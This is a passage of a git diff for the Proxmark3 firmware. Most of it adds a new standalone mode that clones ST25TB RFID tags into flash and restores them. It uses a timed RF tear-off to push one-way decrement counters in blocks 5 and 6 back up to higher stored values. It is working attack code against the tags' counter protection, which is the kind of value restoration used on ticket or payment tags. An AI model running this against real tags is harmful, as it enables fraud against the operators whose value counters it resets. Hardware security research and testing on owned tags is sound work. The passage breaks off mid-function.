reply_ng(CMD_HF_MIFARE_SIMULATE, PM3_EINIT, NULL, 0); DbpString(_RED_("Error initializing the emulation process!")); @@ -337,7 +338,7 @@ void RunMod() { } else if (receivedCmd[1] == 0x70 && receivedCmd[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT && len == 9) { // Received a SELECT (cascade 1) p_response = &responses[RESP_INDEX_SAKC1]; } else if (receivedCmd[0] == ISO14443A_CMD_RATS && len == 4) { // Received a RATS request - p_response = &responses[RESP_INDEX_RATS]; + p_response = &responses[RESP_INDEX_ATS]; resp = 1; } else if (receivedCmd[0] == 0xf2 && len == 4) { // ACKed - Time extension DbpString(_YELLOW_("!!") " Reader accepted time extension!"); diff --git a/armsrc/Standalone/hf_st25_tearoff.c b/armsrc/Standalone/hf_st25_tearoff.c new file mode 100644 index 000000000..65fc2ba52 --- /dev/null +++ b/armsrc/Standalone/hf_st25_tearoff.c @@ -0,0 +1,1170 @@ +//----------------------------------------------------------------------------- +// Copyright (C) SecLabz, 2025 +// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. +// +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// See LICENSE.txt for the text of the license. +//----------------------------------------------------------------------------- +// Standalone mode for reading/storing and restoring ST25TB tags with tear-off for counters. +// Handles a collection of tags. Click swaps between Store and Restore modes. +// Requires WITH_FLASH enabled at compile time. +// Only tested on a Proxmark3 Easy with flash +// +// The initial mode is learning/storing with LED D. +// In this mode, the Proxmark3 is looking for an ST25TB tag, reads all its data, +// and stores the tag's contents to flash memory for later restoration. +// +// Clicking the button once will toggle to restore mode (LED C). +// In this mode, the Proxmark3 searches for an ST25TB tag and, if found, compares +// its UID with previously stored tags. If there's a match, it will restore the +// tag data from flash memory, including counter blocks using tear-off technique. +// +// The standalone supports a collection of up to 8 different ST25TB tags. +// +// Special handling is implemented for counter blocks 5 & 6. For these blocks, +// the tear-off technique is used to manipulate counters that normally can only +// be decremented, allowing restoration of previously stored counter values even +// if they're higher than the current value. +// +// Holding the button down for 1 second will exit the standalone mode. +// +// LEDs: +// LED D = Learn/Store mode (reading and storing tag data) +// LED C = Restore mode (writing stored data back to tags) +// LED A (blinking) = Operation successful +// LED B (blinking) = Operation failed +// +// Flash memory is required for this standalone mode to function properly. +// +//----------------------------------------------------------------------------- + + +//============================================================================= +// INCLUDES +//============================================================================= + +// System includes +#include // memcpy, memset + +// Proxmark3 includes +#include "standalone.h" +#include "proxmark3_arm.h" +#include "appmain.h" +#include "fpgaloader.h" +#include "iso14443b.h" // ISO14443B operations +#include "util.h" +#include "spiffs.h" // Flash memory filesystem access +#include "dbprint.h" +#include "ticks.h" +#include "BigBuf.h" +#include "protocols.h" +#include "crc16.h" // compute_crc + +//============================================================================= +// FLASH MEMORY REQUIREMENT CHECK +//============================================================================= + +#ifndef WITH_FLASH +#error "This standalone mode requires WITH_FLASH to be defined. Please recompile with flash memory support." +#endif + +//============================================================================= +// CONSTANTS & DEFINITIONS +//============================================================================= + +// File and data structure constants +#define HF_ST25TB_MULTI_SR_FILE "hf_st25tb_tags.bin" // Store/Restore filename +#define ST25TB_BLOCK_COUNT 16 // ST25TB512 or similar with 16 blocks +#define ST25TB_BLOCK_SIZE 4 // 4 bytes per block +#define ST25TB_COUNTER_BLOCK_5 5 // Counter block indices +#define ST25TB_COUNTER_BLOCK_6 6 +#define ST25TB_DATA_SIZE (ST25TB_BLOCK_COUNT * ST25TB_BLOCK_SIZE) +#define MAX_SAVED_TAGS 8 // Allow storing up to 8 tags + +// Tear-off constants +#define TEAR_OFF_START_OFFSET_US 150 +#define TEAR_OFF_ADJUSTMENT_US 25 +#define PRE_READ_DELAY_US 0 +#define TEAR_OFF_WRITE_RETRY_COUNT 30 +#define TEAR_OFF_CONSOLIDATE_READ_COUNT 6 +#define TEAR_OFF_CONSOLIDATE_WAIT_READ_COUNT 2 +#define TEAR_OFF_CONSOLIDATE_WAIT_MS 2000 + +// Display/console colors +#define RESET "\033[0m" +#define BOLD "\033[01m" +#define RED "\033[31m" +#define BLUE "\033[34m" +#define GREEN "\033[32m" + +// Bit manipulation macros +#define IS_ONE_BIT(value, index) ((value) & ((uint32_t)1 << (index))) +#define IS_ZERO_BIT(value, index) (!IS_ONE_BIT(value, index)) + +#define RF_SWTICH_OFF() FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF) + +//============================================================================= +// TYPE DEFINITIONS +//============================================================================= + +// Operation modes +typedef enum { + MODE_LEARN = 0, // Store/learn tag data + MODE_RESTORE = 1 // Restore tag data +} standalone_mode_t; + +// Operation states +typedef enum { + STATE_BUSY = 0, // Actively processing + STATE_DONE = 1, // Operation completed successfully + STATE_ERROR = 2 // Operation failed +} standalone_state_t; + +// Structure to hold tag data in RAM +typedef struct { + uint64_t uid; + uint32_t blocks[ST25TB_BLOCK_COUNT]; + uint32_t otp; + bool data_valid; // Flag to indicate if this slot holds valid data +} st25tb_data_t; + +//============================================================================= +// GLOBAL VARIABLES +//============================================================================= + +// Tag collection and state tracking +static st25tb_data_t g_stored_tags[MAX_SAVED_TAGS]; +static uint8_t g_valid_tag_count = 0; // Number of valid entries +static standalone_mode_t g_current_mode = MODE_LEARN; // Current operation mode +static standalone_state_t current_state = STATE_BUSY; // Current operation state +static unsigned long g_prng_seed = 1; // Used for PRNG + +//============================================================================= +// FUNCTION DECLARATIONS +//============================================================================= + +// Core utility functions +static int dummy_rand(void); +uint64_t bytes_to_num_le(const uint8_t *src, size_t len); + +// UI/LED interaction functions +static void update_leds_mode(standalone_mode_t mode); +static void indicate_success(void); +static void indicate_failure(void); + +// Flash storage operations +static bool load_tags_from_flash(st25tb_data_t collection[MAX_SAVED_TAGS]); +static bool save_tags_to_flash(const st25tb_data_t collection[MAX_SAVED_TAGS]); +static int find_tag_by_uid(const uint64_t uid); +static int find_free_tag_slot(void); + +// ISO14443B communication functions +static void iso14443b_setup_light(void); + +// Tag read/write operations +static bool st25tb_tag_get_basic_info(iso14b_card_select_t *card_info); +static bool st25tb_tag_read(st25tb_data_t *tag_data_slot); +static bool st25tb_tag_restore(const st25tb_data_t *stored_data_slot); +static void st25tb_tag_print(st25tb_data_t *tag); + +// Tear-off operations +static int st25tb_cmd_write_block(uint8_t block_address, uint8_t *block); +static bool st25tb_write_block_with_retry(uint8_t block_address, uint32_t target_value); +static int st25tb_tear_off_read_block(uint8_t block_address, uint32_t *block_value); +static void st25tb_tear_off_write_block(uint8_t block_address, uint32_t data, uint16_t tearoff_delay_us); +static int8_t st25tb_tear_off_retry_write_verify(uint8_t block_address, uint32_t target_value, uint32_t max_try_count, int sleep_time_ms, uint32_t *read_back_value); +static int8_t st25tb_tear_off_is_consolidated(const uint8_t block_address, uint32_t value, int repeat_read, int sleep_time_ms, uint32_t *read_value); +static int8_t st25tb_tear_off_consolidate_block(const uint8_t block_address, uint32_t current_value, uint32_t target_value, uint32_t *read_back_value); +static uint32_t st25tb_tear_off_next_value(uint32_t current_value, bool randomness); +static void st25tb_tear_off_adjust_timing(int *tear_off_us, uint32_t tear_off_adjustment_us); +static void st25tb_tear_off_log(int tear_off_us, char *color, uint32_t value); +static int8_t st25tb_tear_off_write_counter(uint8_t block_address, uint32_t target_value, uint32_t tear_off_adjustment_us, uint32_t safety_value); + +// Main application functions +static void run_learn_function(void); +static void run_restore_function(void); +void ModInfo(void); +void RunMod(void); + +//============================================================================= +// CORE UTILITY FUNCTIONS +//============================================================================= + +/** + * @brief Simple PRNG implementation + * @return Random integer + */ +static int dummy_rand(void) { + g_prng_seed = g_prng_seed * 1103515245 + 12345; + return (unsigned int)(g_prng_seed / 65536) % 32768; +} + +/** + * @brief Convert bytes to number (little-endian) + * @param src Source byte array + * @param len Length of array + * @return Converted 64-bit value + */ +uint64_t bytes_to_num_le(const uint8_t *src, size_t len) { + uint64_t num = 0; + size_t i; + + if (len > sizeof(uint64_t)) { + len = sizeof(uint64_t); + } + + // Iterate from LSB to MSB + for (i = 0; i < len; ++i) { + num |= ((uint64_t)src[i] << (i * 8)); + } + + return num; +} + +//============================================================================= +// UI/LED INTERACTION FUNCTIONS +//============================================================================= + +/** + * @brief Update LEDs to indicate current mode and state + * @param mode Current operation mode + */ +static void update_leds_mode(standalone_mode_t mode) { + LEDsoff(); + if (mode == MODE_LEARN) { + LED_D_ON(); + } else { // MODE_RESTORE + LED_C_ON(); + } +} + +/** + * @brief Indicate successful operation with LED sequence + */ +static void indicate_success(void) { + // Blink Green LED (A) 3 times quickly for success + for (int i = 0; i < 3; ++i) { + LED_A_ON(); + SpinDelay(150); + LED_A_OFF(); + SpinDelay(150); + } +} + +/** + * @brief Indicate failed operation with LED sequence + */ +static void indicate_failure(void) { + // Blink Red LED (B) 3 times quickly for failure + for (int i = 0; i < 3; ++i) { + LED_B_ON(); + SpinDelay(150); + LED_B_OFF(); + SpinDelay(150); + } +} + +//============================================================================= +// FLASH STORAGE OPERATIONS +//============================================================================= + +/** + * @brief Load tag collection from flash + * @param collection Array to store loaded data + * @return true if successful, false otherwise + */ +static bool load_tags_from_flash(st25tb_data_t collection[MAX_SAVED_TAGS]) { + // Check if file exists + if (!exists_in_spiffs(HF_ST25TB_MULTI_SR_FILE)) { + return false; // File doesn't exist, nothing to load + } + + // Verify file size + uint32_t size = size_in_spiffs(HF_ST25TB_MULTI_SR_FILE); + if (size != sizeof(g_stored_tags)) { + Dbprintf(_RED_("Flash file size mismatch (expected %zu, got %u). Wiping old file."), + sizeof(g_stored_tags), size); + // Remove corrupted file + rdv40_spiffs_remove(HF_ST25TB_MULTI_SR_FILE, RDV40_SPIFFS_SAFETY_SAFE); + return false; + } + + // Read file contents + int res = rdv40_spiffs_read(HF_ST25TB_MULTI_SR_FILE, (uint8_t *)collection, + size, RDV40_SPIFFS_SAFETY_SAFE); + + if (res != SPIFFS_OK) { + Dbprintf(_RED_("Failed to read tag collection from flash (err %d)"), res); + // Mark all as invalid if read failed + for (int i = 0; i < MAX_SAVED_TAGS; i++) + collection[i].data_valid = false; + return false; + } + + return true; +} + +/** + * @brief Save tag collection to flash + * @param collection Array of tag data to save + * @return true if successful, false otherwise + */ +static bool save_tags_to_flash(const st25tb_data_t collection[MAX_SAVED_TAGS]) { + int res = rdv40_spiffs_write(HF_ST25TB_MULTI_SR_FILE, (uint8_t *)collection, + sizeof(g_stored_tags), RDV40_SPIFFS_SAFETY_SAFE); + return (res == SPIFFS_OK); +} + +/** + * @brief Find a tag in the collection by UID + * @param uid UID to search for + * @return Index of tag in collection, or -1 if not found + */ +static int find_tag_by_uid(const uint64_t uid) { + for (int i = 0; i < MAX_SAVED_TAGS; i++) { + if (g_stored_tags[i].data_valid && g_stored_tags[i].uid == uid) { + return i; + } + } + return -1; // Not found +} + +/** + * @brief Find next empty slot in the collection + * @return Index of empty slot, or -1 if collection is full + */ +static int find_free_tag_slot(void) { + for (int i = 0; i < MAX_SAVED_TAGS; i++) { + if (!g_stored_tags[i].data_valid) { + return i; + } + } + return -1; // Collection is full +} + +//============================================================================= +// ISO14443B COMMUNICATION FUNCTIONS +//============================================================================= + +/** + * @brief Stripped version of "iso14443b_setup" that avoids unnecessary LED + * operations and uses shorter delays + */ +static void iso14443b_setup_light(void) { + RF_SWTICH_OFF(); + + FpgaDownloadAndGo(FPGA_BITSTREAM_HF); + + // Set up the synchronous serial port + FpgaSetupSsc(FPGA_MAJOR_MODE_HF_READER); + + // Signal field is on with the appropriate LED +#ifdef RDV4 + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER | FPGA_HF_READER_MODE_SEND_SHALLOW_MOD_RDV4); +#else + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER | FPGA_HF_READER_MODE_SEND_SHALLOW_MOD); +#endif + + SpinDelayUs(250); + + // Start the timer + StartCountSspClk(); +} + +//============================================================================= +// TAG READ/WRITE OPERATIONS +//============================================================================= + +/** + * @brief Select a ST25TB tag and get basic info + * @param card_info Pointer to store card info + * @return true if successful, false otherwise + */ +static bool st25tb_tag_get_basic_info(iso14b_card_select_t *card_info) { + iso14443b_setup_light(); + int res = iso14443b_select_srx_card(card_info); + RF_SWTICH_OFF(); + return (res == PM3_SUCCESS); +} + +/** + * @brief Read all data from a ST25TB tag + * @param tag_data_slot Pointer to store tag data + * @return true if successful, false otherwise + */ +static bool st25tb_tag_read(st25tb_data_t *tag_data_slot) { + iso14443b_setup_light(); + iso14b_card_select_t card_info; + uint8_t block[ST25TB_BLOCK_SIZE]; + int res; + bool success = true; + + // Select card + res = iso14443b_select_srx_card(&card_info); + if (res != PM3_SUCCESS) { + RF_SWTICH_OFF(); + return false; + } + + Dbprintf("Found ST tag. Reading %d blocks...", ST25TB_BLOCK_COUNT); + tag_data_slot->uid = bytes_to_num_le(card_info.uid, sizeof(tag_data_slot->uid)); + + // Read all data blocks + for (uint8_t block_address = 0; block_address < ST25TB_BLOCK_COUNT; block_address++) { + WDT_HIT(); + res = read_14b_srx_block(block_address, block); + if (res != PM3_SUCCESS) { + Dbprintf(_RED_("Failed to read block %d"), block_address); + success = false; + break; + } + + // Store the read block data + tag_data_slot->blocks[block_address] = bytes_to_num_le(block, ST25TB_BLOCK_SIZE); + + if (g_dbglevel >= DBG_DEBUG) { + Dbprintf("Read Block %02d: %08X", block_address, tag_data_slot->blocks[block_address]); + } + SpinDelay(5); // Small delay between block reads + } + + // Read OTP block + res = read_14b_srx_block(255, block); + if (res != PM3_SUCCESS) { + Dbprintf(_RED_("Failed to read otp block")); + success = false; + } else { + tag_data_slot->otp = bytes_to_num_le(block, ST25TB_BLOCK_SIZE); + } + + RF_SWTICH_OFF(); + + tag_data_slot->data_valid = success; + return success; +} + +/** + * @brief Restore data to a ST25TB tag + * @param stored_data_slot Pointer to stored tag data + * @return true if successful, false otherwise + */ +static bool st25tb_tag_restore(const st25tb_data_t *stored_data_slot) { + if (!stored_data_slot->data_valid) { + DbpString(_RED_("Restore error: Slot data is invalid.")); + return false; + } + + iso14443b_setup_light(); + iso14b_card_select_t card_info; + int res; + bool success = true; + + res = iso14443b_select_srx_card(&card_info); + if (res != PM3_SUCCESS) { + DbpString("Restore failed: No tag found or selection failed."); + RF_SWTICH_OFF(); + return false; + } + + uint64_t tag_uid = bytes_to_num_le(card_info.uid, sizeof(uint64_t)); + + // Verify UID match before restoring + if (tag_uid != stored_data_slot->uid) { + Dbprintf("Restore failed: UID mismatch (Tag: %llX, Slot: %llX)", tag_uid, stored_data_slot->uid); + RF_SWTICH_OFF(); + return false; + } + + Dbprintf("Found ST tag, UID: %llX. Starting restore...", tag_uid); + + // Process all blocks + for (uint8_t block_address = 0; block_address < ST25TB_BLOCK_COUNT; block_address++) { + WDT_HIT(); + uint32_t stored_value = stored_data_slot->blocks[block_address]; + + if (g_dbglevel >= DBG_DEBUG) { + Dbprintf("Restoring Block %02d: %08X", block_address, stored_value); + } + + // Special handling for counter blocks 5 and 6 + if (block_address == ST25TB_COUNTER_BLOCK_5 || block_address == ST25TB_COUNTER_BLOCK_6) { + uint32_t current_value = 0; + + res = st25tb_tear_off_read_block(block_address, ¤t_value); + if (res != PM3_SUCCESS) { + Dbprintf(_RED_("Failed to read current counter value for block %d"), block_address); + success = false; + break; + } + + if (g_dbglevel >= DBG_DEBUG) { + Dbprintf("Counter Block %d: Stored=0x%08X, Current=0x%08X", + block_address, stored_value, current_value); + } + + // Only use tear-off logic if stored value is greater + if (stored_value > current_value) { + // The st25tb_tear_off_write_counter function handles the tear-off logic + if (st25tb_tear_off_write_counter(block_address, stored_value, TEAR_OFF_ADJUSTMENT_US, 0x1000) != 0) { + Dbprintf(_RED_("Tear-off write failed for counter block %d"), block_address); + success = false; + break; + } + Dbprintf("Used tear-off write for counter block %d", block_address); + } else if (stored_value < current_value) { + // Standard write for when stored value is less than current + if (!st25tb_write_block_with_retry(block_address, stored_value)) { + Dbprintf(_RED_("Failed to write block %d"), block_address); + success = false; + break; + } + } else { + Dbprintf("Counter block %d already has the target value (0x%08X). Skipping write.", + block_address, stored_value); + } + } else { + // Standard write for non-counter blocks + if (!st25tb_write_block_with_retry(block_address, stored_value)) { + Dbprintf(_RED_("Failed to write block %d with value 0x%08X"), block_address, stored_value); + success = false; + break; + } + } + SpinDelay(10); // Delay between writes + } + + RF_SWTICH_OFF(); + return success; +} + +/** + * @brief Print tag data in formatted table + * @param tag Pointer to tag data + */ +static void st25tb_tag_print(st25tb_data_t *tag) { + uint8_t i; + + Dbprintf("UID: %016llX", tag->uid); + + Dbprintf("+---------------+----------+--------------------+"); + Dbprintf("| BLOCK ADDRESS | VALUE | DESCRIPTION |"); + Dbprintf("+---------------+----------+--------------------+"); + + for (i = 0; i < 16; i++) { + if (i == 2) { + Dbprintf("| %03d | %08X | Lockable EEPROM |", i, tag->blocks[i]); + } else if (i == 5) { + Dbprintf("| %03d | %08X | Count down |", i, tag->blocks[i]); + } else if (i == 6) { + Dbprintf("| %03d | %08X | counter |", i, tag->blocks[i]); + } else if (i == 11) { + Dbprintf("| %03d | %08X | Lockable EEPROM |", i, tag->blocks[i]); + } else { + Dbprintf("| %03d | %08X | |", i, tag->blocks[i]); + } + if (i == 4 || i == 6 || i == 15) { + Dbprintf("+---------------+----------+--------------------+"); + } + } + + Dbprintf("| %03d | %08X | System OTP bits |", 255, tag->otp); + Dbprintf("+---------------+----------+--------------------+"); +} + +//============================================================================= +// TEAR-OFF OPERATIONS +//============================================================================= + +/** + * @brief Read a block + * @param block_address Block address to read + * @param block_value Pointer to store read value + * @return Result code (0 for success) + */ +static int st25tb_tear_off_read_block(uint8_t block_address, uint32_t *block_value) { + int res; + iso14b_card_select_t card; + iso14443b_setup_light(); + + res = iso14443b_select_srx_card(&card); + if (res != PM3_SUCCESS) { + goto out; + } + + uint8_t block[ST25TB_BLOCK_SIZE]; + res = read_14b_srx_block(block_address, block); + if (res == PM3_SUCCESS) { + *block_value = bytes_to_num_le(block, ST25TB_BLOCK_SIZE); + } + +out: + RF_SWTICH_OFF(); + return res; +} + +/** + * @brief Low-level block write function + * @param block_address Block number to write + * @param block Block data + * @return Result code (0 for success) + */ +static int st25tb_cmd_write_block(uint8_t block_address, uint8_t *block) { + uint8_t cmd[] = {ISO14443B_WRITE_BLK, block_address, block[0], block[1], block[2], block[3], 0x00, 0x00}; + AddCrc14B(cmd, 6); + + uint32_t start_time = 0; + uint32_t eof_time = 0; + CodeAndTransmit14443bAsReader(cmd, sizeof(cmd), &start_time, &eof_time, true); + + return PM3_SUCCESS; +} + +/** + * @brief Write a block with retry mechanism + * @param block_address Block number to write + * @param target_value Value to write + * @return true if successful, false otherwise + */ +static bool st25tb_write_block_with_retry(uint8_t block_address, uint32_t target_value) { + uint32_t read_back_value = 0; + int max_retries = 5; + + if (st25tb_tear_off_retry_write_verify(block_address, target_value, max_retries, 0, &read_back_value) != 0) { + return false; + } + + return (read_back_value == target_value); +} + +/** + * @brief Write a block with tear-off capability + * @param block_address Block number to write + * @param data Data to write + * @param tearoff_delay_us Tear-off delay in microseconds + */ +static void st25tb_tear_off_write_block(uint8_t block_address, uint32_t data, uint16_t tearoff_delay_us) { + iso14443b_setup_light(); + + uint8_t block[ST25TB_BLOCK_SIZE]; + block[0] = (data & 0xFF); + block[1] = (data >> 8) & 0xFF; + block[2] = (data >> 16) & 0xFF; + block[3] = (data >> 24) & 0xFF; + + iso14b_card_select_t card; + int res = iso14443b_select_srx_card(&card); + if (res != PM3_SUCCESS) { + goto out; + } + + res = st25tb_cmd_write_block(block_address, block); + + // Tear off the communication at precise timing + SpinDelayUsPrecision(tearoff_delay_us); + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + +out: + RF_SWTICH_OFF(); +} + +/** + * @brief Write a block with retry and verification + * @param block_address Block address to write + * @param target_value Value to write + * @param max_try_count Maximum number of retries + * @param sleep_time_ms Sleep time between retries in milliseconds + * @param read_back_value Pointer to store read-back value + * @return 0 for success, -1 for failure + */ +static int8_t st25tb_tear_off_retry_write_verify(uint8_t block_address, uint32_t target_value, + uint32_t max_try_count, int sleep_time_ms, + uint32_t *read_back_value) { + int i = 0; + *read_back_value = ~target_value; // Initialize to ensure the loop runs at least once + + while (*read_back_value != target_value && i < max_try_count) { + st25tb_tear_off_write_block(block_address, target_value, 6000); // Long delay for reliability + if (sleep_time_ms > 0) SpinDelayUsPrecision(sleep_time_ms * 1000); + st25tb_tear_off_read_block(block_address, read_back_value); + if (sleep_time_ms > 0) SpinDelayUsPrecision(sleep_time_ms * 1000); + i++; + } + + return (*read_back_value == target_value) ? 0 : -1; +} + +/** + * @brief Check if a block's value is consolidated (stable) + * @param block_address Block address to check + * @param value Expected value + * @param repeat_read Number of reads to perform + * @param sleep_time_ms Sleep time between reads in milliseconds + * @param read_value Pointer to store read value + * @return 0 if consolidated, -1 otherwise + */ +static int8_t st25tb_tear_off_is_consolidated(const uint8_t block_address, uint32_t value, + int repeat_read, int sleep_time_ms, + uint32_t *read_value) { + int result; + for (int i = 0; i < repeat_read; i++) { + if (sleep_time_ms > 0) SpinDelayUsPrecision(sleep_time_ms * 1000); + result = st25tb_tear_off_read_block(block_address, read_value); + if (result != 0 || value != *read_value) { + return -1; // Read error or value changed + } + } + return 0; // Value remained stable +} + +/** + * @brief Consolidate a block to a stable state + * @param block_address Block address to consolidate + * @param current_value Current value + * @param target_value Target value + * @param read_back_value Pointer to store read-back value + * @return 0 for success, -1 for failure + */ +static int8_t st25tb_tear_off_consolidate_block(const uint8_t block_address, uint32_t current_value, + uint32_t target_value, uint32_t *read_back_value) { + int8_t result; + uint32_t consolidation_value; + + // Determine the value to write for consolidation based on target and current state + if (target_value <= 0xFFFFFFFD && current_value >= (target_value + 2)) { + consolidation_value = target_value + 2; + } else { + consolidation_value = current_value; + } + + // Try writing value - 1 + result = st25tb_tear_off_retry_write_verify(block_address, consolidation_value - 1, + TEAR_OFF_WRITE_RETRY_COUNT, 0, read_back_value); + if (result != 0) { + Dbprintf("Consolidation failed at step 1 (write 0x%08X)", consolidation_value - 1); + return -1; + } + + // If value is not FE or target is not FD, try writing value - 2 + if (*read_back_value != 0xFFFFFFFE || (*read_back_value == 0xFFFFFFFE && target_value == 0xFFFFFFFD)) { + result = st25tb_tear_off_retry_write_verify(block_address, consolidation_value - 2, + TEAR_OFF_WRITE_RETRY_COUNT, 0, read_back_value); + if (result != 0) { + Dbprintf("Consolidation failed at step 2 (write 0x%08X)", consolidation_value - 2); + return -1; + } + } + + // Final checks for stability of unstable high values (due to internal dual counters) + if (result == 0 && target_value > 0xFFFFFFFD && *read_back_value > 0xFFFFFFFD) { + result = st25tb_tear_off_is_consolidated(block_address, *read_back_value, + TEAR_OFF_CONSOLIDATE_READ_COUNT, 0, read_back_value); + if (result == 0) { + result = st25tb_tear_off_is_consolidated(block_address, *read_back_value, + TEAR_OFF_CONSOLIDATE_WAIT_READ_COUNT, + TEAR_OFF_CONSOLIDATE_WAIT_MS, read_back_value); + if (result != 0) { + Dbprintf("Consolidation failed stability check (long wait)"); + return -1; + } + } else { + Dbprintf("Consolidation failed stability check (short wait)"); + return -1; + } + } + + return 0; +} + +/** + * @brief Calculate next value for counter decrement + * @param current_value Current counter value + * @param randomness Whether to use randomization + * @return Next value to attempt + */ +static uint32_t st25tb_tear_off_next_value(uint32_t current_value, bool randomness) { + uint32_t value = 0; + int8_t index = 31; + + // Simple decrement for smaller values + if (current_value < 0x0000FFFF) { + return (current_value > 0) ? current_value - 1 : 0; + } + + // Loop through each bit starting from the most significant bit (MSB) + while (index >= 0) { + // Find the most significant '1' bit + if (value == 0 && IS_ONE_BIT(current_value, index)) { + // Create a mask with '1's up to this position + value = 0xFFFFFFFF >> (31 - index); + index--; // Move to the next bit + } + + // Once the first '1' is found, look for the first '0' after it + if (value != 0 && IS_ZERO_BIT(current_value, index)) { + index++; // Go back to the position of the '0' + // Clear the bit at this '0' position in our mask + value &= ~((uint32_t)1 << index); + + // Optional randomization: flip a random bit below the found '0' + if (randomness && value < 0xF0000000 && index > 1) { + value ^= ((uint32_t)1 << (dummy_rand() % index)); + } + return value; + } + + index--; + } + + return (current_value > 0) ? current_value - 1 : 0; +} + +/** + * @brief Adjust timing for tear-off operations + * @param tear_off_us Pointer to current tear-off timing + * @param tear_off_adjustment_us Adjustment amount + */ +static void st25tb_tear_off_adjust_timing(int *tear_off_us, uint32_t tear_off_adjustment_us) { + if (*tear_off_us > TEAR_OFF_START_OFFSET_US) { + *tear_off_us -= tear_off_adjustment_us; + } +} + +/** + * @brief Log tear-off operation details + * @param tear_off_us Current tear-off timing + * @param color Color code for output + * @param value Value being processed + */ +static void st25tb_tear_off_log(int tear_off_us, char *color, uint32_t value) { + char binaryRepresentation[33]; + for (int i = 31; i >= 0; i--) { + binaryRepresentation[31 - i] = IS_ONE_BIT(value, i) ? '1' : '0'; + } + binaryRepresentation[32] = '\0'; + Dbprintf("%s%08X%s : %s%s%s : %d us", color, value, RESET, color, binaryRepresentation, RESET, tear_off_us); +} + +/** + * @brief Main tear-off counter write function + * @param block_address Block address to write + * @param target_value Target value + * @param tear_off_adjustment_us Adjustment for tear-off timing + * @param safety_value Safety threshold to prevent going below + * @return 0 for success, non-zero for failure + */ +static int8_t st25tb_tear_off_write_counter(uint8_t block_address, uint32_t target_value, + uint32_t tear_off_adjustment_us, uint32_t safety_value) { + int result; + bool trigger = true; + + uint32_t read_value = 0; + uint32_t current_value = 0; + uint32_t last_consolidated_value = 0; + uint32_t tear_off_value = 0; + + int tear_off_us = TEAR_OFF_START_OFFSET_US; + if (tear_off_adjustment_us == 0) { + tear_off_adjustment_us = TEAR_OFF_ADJUSTMENT_US; + } + + // Initial read to get the current counter value + result = st25tb_tear_off_read_block(block_address, ¤t_value); + if (result != PM3_SUCCESS) { + Dbprintf("Initial read failed for block %d", block_address); + return -1; // Indicate failure + } + + // Calculate the first value to attempt writing via tear-off + tear_off_value = st25tb_tear_off_next_value(current_value, false); + + Dbprintf(" Target block: %d", block_address); + Dbprintf("Current value: 0x%08X", current_value); + Dbprintf(" Target value: 0x%08X", target_value); + Dbprintf(" Safety value: 0x%08X", safety_value); + Dbprintf("Adjustment us: %u", tear_off_adjustment_us); + + // Check if tear-off is even possible or needed + if (tear_off_value == 0 && current_value != 0) { + Dbprintf("Tear-off technique not possible from current value."); + return -1; + } + if (current_value == target_value) { + Dbprintf("Current value already matches target value."); + return 0; + } + + // Main tear-off loop + for (;;) { + // Safety check: ensure we don't go below the safety threshold + if (tear_off_value < safety_value) { + Dbprintf("Stopped. Safety threshold reached (next value 0x%08X < safety 0x%08X)", + tear_off_value, safety_value); + return -1; + } + + // Perform the tear-off write attempt + st25tb_tear_off_write_block(block_address, tear_off_value, tear_off_us); + + // Read back the value after the attempt + result = st25tb_tear_off_read_block(block_address, &read_value); + if (result != 0) { + continue; // Retry the loop if read fails (ex: tag is removed from the read for a short period) + } + + // Analyze the result and decide next action + if (read_value > current_value) { + // Partial write succeeded (successful tear-off) + if (read_value >= 0xFFFFFFFE || + (read_value - 2) > target_value || + read_value != last_consolidated_value || + ((read_value & 0xF0000000) > (current_value & 0xF0000000))) { // Major bit flip + + result = st25tb_tear_off_consolidate_block(block_address, read_value, + target_value, ¤t_value); + if (result == 0 && current_value == target_value) { + st25tb_tear_off_log(tear_off_us, GREEN, read_value); + Dbprintf("Target value 0x%08X reached successfully!", target_value); + return 0; + } + if (read_value != last_consolidated_value) { + st25tb_tear_off_adjust_timing(&tear_off_us, tear_off_adjustment_us); + } + last_consolidated_value = read_value; + tear_off_value = st25tb_tear_off_next_value(current_value, false); + trigger = true; + st25tb_tear_off_log(tear_off_us, GREEN, read_value); + } + } else if (read_value == tear_off_value) { + // Write succeeded completely (no tear-off effect) + if (trigger) { + tear_off_value = st25tb_tear_off_next_value(tear_off_value, true); + trigger = false; + } else { + tear_off_value = st25tb_tear_off_next_value(read_value, false); + trigger = true; + } + current_value = read_value; + st25tb_tear_off_adjust_timing(&tear_off_us, tear_off_adjustment_us); + st25tb_tear_off_log(tear_off_us, BLUE, read_value); + } else if (read_value < tear_off_value) { + // Partial write succeeded (successful tear-off) but lower value + tear_off_value = st25tb_tear_off_next_value(read_value, false); + st25tb_tear_off_adjust_timing(&tear_off_us, tear_off_adjustment_us); + current_value = read_value; + trigger = true; + st25tb_tear_off_log(tear_off_us, RED, read_value); + } + + // Increment tear-off timing for the next attempt + tear_off_us++; + + // Check for user interruption + WDT_HIT(); + if (BUTTON_PRESS()) { + DbpString("Tear-off stopped by user."); + return -1; + } + } + + return -1; +} + +//============================================================================= +// MAIN APPLICATION FUNCTIONS +//============================================================================= + +/** + * @brief Learn/store function implementation + */ +static void run_learn_function(void) { + st25tb_data_t temp_tag_data; // Temporary buffer to read into + memset(&temp_tag_data, 0, sizeof(temp_tag_data)); + + if (st25tb_tag_read(&temp_tag_data)) { + st25tb_tag_print(&temp_tag_data); + int slot_index = find_tag_by_uid(temp_tag_data.uid); + + if (slot_index != -1) { + Dbprintf("Tag with UID %llX already in Slot %d. Overwriting...", + temp_tag_data.uid, slot_index); + } else { + slot_index = find_free_tag_slot(); + if (slot_index == -1) { + DbpString("Collection full! Overwriting Slot 0."); + slot_index = 0; // Overwrite oldest/first slot if full + } else { + // Only increment if we are adding to a new slot, not overwriting + if (!g_stored_tags[slot_index].data_valid) { + g_valid_tag_count++; + } + } + } + + // Store tag data in collection + memcpy(&g_stored_tags[slot_index], &temp_tag_data, sizeof(st25tb_data_t)); + g_stored_tags[slot_index].data_valid = true; + 